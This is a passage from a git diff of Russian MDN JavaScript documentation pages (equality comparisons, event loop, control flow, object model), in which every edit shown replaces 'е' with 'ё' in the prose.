атрибутами.</p> <h4 id="Свойство-значение">Свойство-значение</h4> diff --git a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html index 99baf1e830..c4e2e48cd5 100644 --- a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html +++ b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness <p>Выбор оператора зависит от типа сравнения, которое необходимо произвести.</p> </div> -<p class="syntaxbox">В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернет <code>false</code>, даже не сравнивая); ну и <code>Object.is</code> ведет себя так же, как и тройное равно, но со специальной обработкой для <code>NaN</code>, <code>-0</code> и <code>+0</code>, возвращая <code>false</code> при сравнении <code>-0</code> и <code>+0</code>, и <code>true</code> для операции <code>Object.is(NaN, NaN)</code>. (В то время как двойное или тройное равенство вернут <code>false</code> согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов <code>x</code> и <code>y</code>, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные <code>x</code> и <code>y</code> не ссылаются на один и тот же объект), все операторы сравнения вернут <code>false</code>.</p> +<p class="syntaxbox">В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернёт <code>false</code>, даже не сравнивая); ну и <code>Object.is</code> ведёт себя так же, как и тройное равно, но со специальной обработкой для <code>NaN</code>, <code>-0</code> и <code>+0</code>, возвращая <code>false</code> при сравнении <code>-0</code> и <code>+0</code>, и <code>true</code> для операции <code>Object.is(NaN, NaN)</code>. (В то время как двойное или тройное равенство вернут <code>false</code> согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов <code>x</code> и <code>y</code>, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные <code>x</code> и <code>y</code> не ссылаются на один и тот же объект), все операторы сравнения вернут <code>false</code>.</p> <h2 id="Сравнение_с_использованием">Сравнение с использованием <code>==</code></h2> @@ -109,7 +109,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness <p>В таблице выше, ToNumber(A) пытается перед сравнением привести свой аргумент к числу. Такое поведение эквивалентно <code>+A</code> (унарный оператор <code>+</code>). Если ToPrimitive(A) получает <em>объект</em> в качестве аргумента, то производятся попытки привести его к примитиву, вызывая на нем методы <code>A.toString</code> и <code>A.valueOf</code>.</p> -<p><span id="result_box" lang="ru"><span class="hps">Традиционно</span><span> (</span><span class="hps">и в соответствии с</span> <span class="hps">ECMAScript</span><span>)</span>, <span class="hps">ни один из объектов</span> <span class="hps">не равен</span> </span><code>undefined</code> или <code>null</code>. Но большинство браузеров позволяет определенному классу объектов<span id="result_box" lang="ru"><span class="hps"> (в частности,</span> <span class="hps">объектам</span> <code><span class="hps">document.all</span></code> <span class="hps">для любой страницы</span><span>) <em>эмулировать</em> значение </span></span><code>undefined.</code> Оператор равенства вернёт значение true для <code>null == A</code> и <code>undefined == A</code>, тогда, и только тогда, когда объект эмулирует значение <code>undefined</code>. Во всех остальных случаях объект не может быть равен <code>undefined</code> или <code>null</code>.</p> +<p><span id="result_box" lang="ru"><span class="hps">Традиционно</span><span> (</span><span class="hps">и в соответствии с</span> <span class="hps">ECMAScript</span><span>)</span>, <span class="hps">ни один из объектов</span> <span class="hps">не равен</span> </span><code>undefined</code> или <code>null</code>. Но большинство браузеров позволяет определённому классу объектов<span id="result_box" lang="ru"><span class="hps"> (в частности,</span> <span class="hps">объектам</span> <code><span class="hps">document.all</span></code> <span class="hps">для любой страницы</span><span>) <em>эмулировать</em> значение </span></span><code>undefined.</code> Оператор равенства вернёт значение true для <code>null == A</code> и <code>undefined == A</code>, тогда, и только тогда, когда объект эмулирует значение <code>undefined</code>. Во всех остальных случаях объект не может быть равен <code>undefined</code> или <code>null</code>.</p> <pre class="brush: js">var num = 0; var obj = new String("0"); @@ -134,7 +134,7 @@ console.log(obj == undefined); <h2 id="Строгое_равенство_с_использованием">Строгое равенство с использованием <code>===</code></h2> -<p>Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них <code>+0</code>, а вторая <code>-0</code>. В то же время, если хотя бы одна из числовых переменных содержит значение <code>NaN</code>, выражение вернет <code>false</code>.</p> +<p>Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них <code>+0</code>, а вторая <code>-0</code>. В то же время, если хотя бы одна из числовых переменных содержит значение <code>NaN</code>, выражение вернёт <code>false</code>.</p> <pre class="brush: js">var num = 0; var obj = new String("0"); @@ -153,7 +153,7 @@ console.log(obj === null); // false console.log(obj === undefined); // false </pre> -<p>Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение <code>+0</code> и <code>-0</code>. Знак для нуля введен для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между <code>+0</code> и <code>-0</code> не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин <code>NaN</code>. <code>NaN</code> (Not a number) представляет из себя значение не определенной величины, которое применяется для не четко определенных математических задач (например <code>+∞ + -∞</code>). Для оператора строго равенства <code>NaN</code> не равен ни одной из величин, в том числе и самому себе (единственный случай, когда <code>(x!==x)</code> вернет true).</p> +<p>Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение <code>+0</code> и <code>-0</code>. Знак для нуля введён для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между <code>+0</code> и <code>-0</code> не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин <code>NaN</code>. <code>NaN</code> (Not a number) представляет из себя значение не определённой величины, которое применяется для не чётко определённых математических задач (например <code>+∞ + -∞</code>). Для оператора строго равенства <code>NaN</code> не равен ни одной из величин, в том числе и самому себе (единственный случай, когда <code>(x!==x)</code> вернёт true).</p> <h2 id="Равенство_одинаковых_величин">Равенство одинаковых величин</h2> @@ -169,7 +169,7 @@ function attemptMutation(v) } </pre> -<p>При попытке изменения неизменяемого свойства, вызов <code>Object.defineProperty выбросит</code> исключение, однако, если новое свойство равняется старому, изменений не произойдет и исключение не будет выброшено. Если <code>v</code> содержит <code>-0</code>, изменений не произойдет, а значит, код отработает без выброса исключений. Однако, если же <code>v</code> содержит <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p> +<p>При попытке изменения неизменяемого свойства, вызов <code>Object.defineProperty выбросит</code> исключение, однако, если новое свойство равняется старому, изменений не произойдёт и исключение не будет выброшено. Если <code>v</code> содержит <code>-0</code>, изменений не произойдёт, а значит, код отработает без выброса исключений. Однако, если же <code>v</code> содержит <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p> <h2 id="Спецификации_для_равенства_строгого_равенства_и_равенства_одинаковых_величин">Спецификации для равенства, строгого равенства и равенства одинаковых величин</h2> diff --git a/files/ru/web/javascript/eventloop/index.html b/files/ru/web/javascript/eventloop/index.html index d659ecc73c..1d4023e2c5 100644 --- a/files/ru/web/javascript/eventloop/index.html +++ b/files/ru/web/javascript/eventloop/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/EventLoop <h3 id="Стек">Стек</h3> -<p>Вызов любой функции создает контекст выполнения (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth#JavaScript_execution_contexts">Execution Context</a>). При вызове вложенной функции создается новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).</p> +<p>Вызов любой функции создаёт контекст выполнения (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth#JavaScript_execution_contexts">Execution Context</a>). При вызове вложенной функции создаётся новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).</p> <pre class="brush: js">function f(b) { var a = 12; @@ -36,7 +36,7 @@ function g(x) { g(21); </pre> -<p>Когда вызывается функция <code>g</code>, создаётся первый контекст выполнения, содержащий аргументы функции <code>g</code> и локальные переменные. Когда <code>g</code> вызывает <code>f</code>, создаётся второй контекст с аргументами <code>f</code> и её локальными переменными. И этот контекст выполнения <code>f</code> помещается в стек вызовов выше первого. Когда <code>f</code> возвращает результат, верхний элемент из стека удаляется. Когда <code>g</code> возвращает результат, ее контекст также удалится, и стек становится пустым.</p> +<p>Когда вызывается функция <code>g</code>, создаётся первый контекст выполнения, содержащий аргументы функции <code>g</code> и локальные переменные. Когда <code>g</code> вызывает <code>f</code>, создаётся второй контекст с аргументами <code>f</code> и её локальными переменными. И этот контекст выполнения <code>f</code> помещается в стек вызовов выше первого. Когда <code>f</code> возвращает результат, верхний элемент из стека удаляется. Когда <code>g</code> возвращает результат, её контекст также удалится, и стек становится пустым.</p> <h3 id="Куча">Куча</h3> @@ -62,7 +62,7 @@ g(21); <h3 id="Запуск_до_завершения">Запуск до завершения</h3> -<p>Каждая задача выполняется полностью, прежде чем начнет обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.</p> +<p>Каждая задача выполняется полностью, прежде чем начнёт обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.</p> <p>У данного подхода есть и минусы. Если задача занимает слишком много времени, то веб-приложение не может обрабатывать действия пользователя в это время (например, скролл или клик). Браузер старается смягчить проблему и выводит сообщение <em>"скрипт выполняется слишком долго" ("a script is taking too long to run")</em> и предлагает остановить его. Хорошей практикой является создание задач, которые исполняются быстро, и если возможно, разбиение одной задачи на несколько мелких.</p> @@ -70,11 +70,11 @@ g(21); <p>В браузерах события добавляются в очередь в любое время, если событие произошло, а так же если у него есть обработчик. В случае, если обработчика нет – событие потеряно. Так, клик по элементу, имеющему обработчик события по событию <code>click </code>, добавит событие в очередь, а если обработчика нет – то и событие в очередь не попадет.</p> -<p>Вызов <a href="/ru/docs/Web/API/WindowTimers/setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a> добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции <code>setTimeout</code> придется ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент <code>setTimeout</code> корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.</p> +<p>Вызов <a href="/ru/docs/Web/API/WindowTimers/setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a> добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции <code>setTimeout</code> придётся ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент <code>setTimeout</code> корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.</p> <h3 id="Нулевые_задержки">Нулевые задержки</h3> -<p>Нулевая задержка не дает гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом 0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдет выполнение обработчика <em>cb1</em>. Это произойдет, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.</p> +<p>Нулевая задержка не даёт гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом 0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдёт выполнение обработчика <em>cb1</em>. Это произойдёт, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.</p> <pre class="brush: js">(function () { diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html index a7b952b323..dd86463b4a 100644 --- a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html +++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling <p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</p> <div class="summary"> -<p>JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе дается обзор этих инструкций.</p> +<p>JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе даётся обзор этих инструкций.</p> </div> <p>Более подробная информация об инструкциях, рассмотренных в данной главе, содержится в <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements">справочнике по JavaScript</a>. Точка с запятой ( <code>;</code> ) используется для разделения инструкций в коде.</p> @@ -26,9 +26,9 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> -<p>В вышеприведенном примере <code>{ x++; }</code> является блоком.</p> +<p>В вышеприведённом примере <code>{ x++; }</code> является блоком.</p> -<p><strong>Обратите внимание:</strong> в JavaScript <strong>отсутствует</strong> область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создает новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:</p> +<p><strong>Обратите внимание:</strong> в JavaScript <strong>отсутствует</strong> область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создаёт новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">{ @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling </span><span class="punctuation token" style="color: #999999;">}</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // выведет 2</span></code></pre> -<p>В вышеприведенном примере инструкция <code>var x</code> внутри блока находится в той же области видимости, что и инструкция <code>var x</code> перед блоком. В C или Java эквивалентный код выведет значение 1.</p> +<p>В вышеприведённом примере инструкция <code>var x</code> внутри блока находится в той же области видимости, что и инструкция <code>var x</code> перед блоком. В C или Java эквивалентный код выведет значение 1.</p> <p>Начиная с ECMAScript 6, оператор <code>let</code> позволяет объявить переменную в области видимости блока. Чтобы получить более подробную информацию, прочитайте {{jsxref("Statements/let", "let")}}.</p> @@ -75,7 +75,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <pre class="brush: js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span> </code></pre> -<p>Если вам нужно использовать присваивание в условном выражении, то распространенной практикой является заключение операции присваивания в дополнительные скобки. Например:</p> +<p>Если вам нужно использовать присваивание в условном выражении, то распространённой практикой является заключение операции присваивания в дополнительные скобки. Например:</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> @@ -101,7 +101,7 @@ if (b) // это условие true if (b == true) // это условие false </pre> -<p>В следующем примере функция <code>checkData</code> возвращает <code>true</code>, если число символов в объекте <code>Text</code> равно трем; в противном случае функция отображает окно alert и возвращает <code>false</code>.</p> +<p>В следующем примере функция <code>checkData</code> возвращает <code>true</code>, если число символов в объекте <code>Text</code> равно трём; в противном случае функция отображает окно alert и возвращает <code>false</code>.</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>document<span class="punctuation token" style="color: #999999;">.</span>form1<span class="punctuation token" style="color: #999999;">.</span>threeChar<span class="punctuation token" style="color: #999999;">.</span>value<span class="punctuation token" style="color: #999999;">.</span>length <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">==</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -131,9 +131,9 @@ if (b == true) // это условие false } </pre> -<p>Сначала производится поиск ветви <code>case</code> с меткой <code>label</code>, совпадающей со значением выражения <code>expression</code>. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора <code>break</code>, который прекращает выполнение <code>switch</code> и передает управление дальше. В противном случае управление передается необязательной ветви <code>default</code> и выполняется соответствующий ей код. Если ветвь <code>default</code> не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией <code>switch</code>. По соглашению ветвь <code>default</code> является последней ветвью, но следовать этому соглашению необязательно.</p> +<p>Сначала производится поиск ветви <code>case</code> с меткой <code>label</code>, совпадающей со значением выражения <code>expression</code>. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора <code>break</code>, который прекращает выполнение <code>switch</code> и передаёт управление дальше. В противном случае управление передаётся необязательной ветви <code>default</code> и выполняется соответствующий ей код. Если ветвь <code>default</code> не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией <code>switch</code>. По соглашению ветвь <code>default</code> является последней ветвью, но следовать этому соглашению необязательно.</p> -<p>Если оператор <code>break</code> отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнется выполнение кода, который следует за ней.</p> +<p>Если оператор <code>break</code> отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнётся выполнение кода, который следует за ней.</p> <p>В следующем примере если <code>fruittype</code> имеет значение <code>"Bananas"</code>, то будет выведено сообщение<code> "Bananas are $0.48 a pound."</code> и оператор <code>break</code> прекратит выполнение <code>switch</code>. Если бы оператор <code>break</code> отсутствовал, то был бы также выполнен код, соответствующий ветви <code>"Cherries"</code>, т.е. выведено сообщение <code>"Cherries are $3.00 a pound."</code>.</p> @@ -180,7 +180,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <pre style="font-size: 14px; white-space: normal;">throw expression;</pre> -<p>Вы можете выбросить любое выражение, а не только выражения определенного типа. В следующем примере выбрасываются исключения различных типов:</p> +<p>Вы можете выбросить любое выражение, а не только выражения определённого типа. В следующем примере выбрасываются исключения различных типов:</p> <pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // string </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // number @@ -235,7 +235,7 @@ catch (e) { <pre style="font-size: 14px; white-space: normal;">catch (catchID) { statements }</pre> -<p>JavaScript создает идентификатор <code>catchID</code>, которому присваивается перехваченное исключение, при входе в блок <code>catch</code>; данный идентификатор доступен только в пределах блока <code>catch</code> и уничтожается при выходе из него.</p> +<p>JavaScript создаёт идентификатор <code>catchID</code>, которому присваивается перехваченное исключение, при входе в блок <code>catch</code>; данный идентификатор доступен только в пределах блока <code>catch</code> и уничтожается при выходе из него.</p> <p>В следующем примере выбрасывается исключение, которое перехватывается в блоке <code>catch</code>:</p> diff --git a/files/ru/web/javascript/guide/details_of_the_object_model/index.html b/files/ru/web/javascript/guide/details_of_the_object_model/index.html index 5a78bd6a74..a93d7aa85e 100644 --- a/files/ru/web/javascript/guide/details_of_the_object_model/index.html +++ b/files/ru/web/javascript/guide/details_of_the_object_model/index.html @@ -28,17 +28,17 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model <h3 id="Подклассы_и_наследование">Подклассы и наследование</h3> -<p>В языках, основанных на классах, вы создаете иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является <em>подклассом</em> уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> включает два свойства: <code>name</code> и <code>dept</code>, а класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> является подклассом <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> и добавляет свойство <code>reports</code>. В этом случае, экземпляр класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> будет иметь три свойства: <code>name</code>, <code>dept</code>, и <code>reports</code>.</p> +<p>В языках, основанных на классах, вы создаёте иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является <em>подклассом</em> уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> включает два свойства: <code>name</code> и <code>dept</code>, а класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> является подклассом <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> и добавляет свойство <code>reports</code>. В этом случае, экземпляр класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> будет иметь три свойства: <code>name</code>, <code>dept</code>, и <code>reports</code>.</p> <p>JavaScript реализует наследование, позволяя связать прототипный ообъект с любой функцией-конструктором. Итак, вы можете создать ообъект точь-в-точь, как в примере <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> — <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, но используя несколько иную технику. Для начала нужно определить функцию-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, которая определяет свойства <code>name</code> и <code>dept</code>. Затем, определяем функцию-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, в которой в свою очередь, будет явно вызываться конструктор <span style="font-family: consolas,monaco,andale mono,monospace;"><code>Employee</code> и</span> определяться новое свойство <code>reports</code>. Наконец, присваиваем новый экземпляр <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, в качестве <code>prototype</code> для функции-конструктора <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>. Теперь, когда вы создадите нового <span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span>, он унаследует свойства <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">name</span></font> и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font> из объекта <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>.</p> <h3 id="Добавление_и_удаление_свойств">Добавление и удаление свойств</h3> -<p>В языках, основанных на классах, вы, как правило, создаете класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.</p> +<p>В языках, основанных на классах, вы, как правило, создаёте класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.</p> <h3 id="Подытожим_различия">Подытожим различия</h3> -<p>Следующая таблица дает краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.</p> +<p>Следующая таблица даёт краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.</p> <table class="fullwidth-table"> <caption>Сравнение языков на основе классов (Java) и на базе прототипов (JavaScript)</caption> @@ -54,7 +54,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model <td>Все объекты могут наследовать свойства другого объекта.</td> </tr> <tr> - <td>Определяем класс с помощью определения класса; создаем экземпляр класса с помощью метода-конструктора.</td> + <td>Определяем класс с помощью определения класса; создаём экземпляр класса с помощью метода-конструктора.</td> <td>Определение и создание объекта происходит с помощью функций-конструкторов.</td> </tr> <tr> @@ -64,7 +64,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model <tr> <td>Иерархия объектов строится с помощью определения классов и их подклассов.</td> <td> - <p>Построение иерархии объектов происходит путем присвоения объекта в качестве прототипа функции-конструктора.</p> + <p>Построение иерархии объектов происходит путём присвоения объекта в качестве прототипа функции-конструктора.</p> </td> </tr> <tr> @@ -73,7 +73,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model </tr> <tr> <td>Определение класса определяет <em>все</em> свойства всех экземпляров класса. Нельзя динамически добавлять свойства во время выполнения.</td> - <td>Функция-конструктор или прототип задает <em>начальный</em> набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.</td> + <td>Функция-конструктор или прототип задаёт <em>начальный</em> набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности 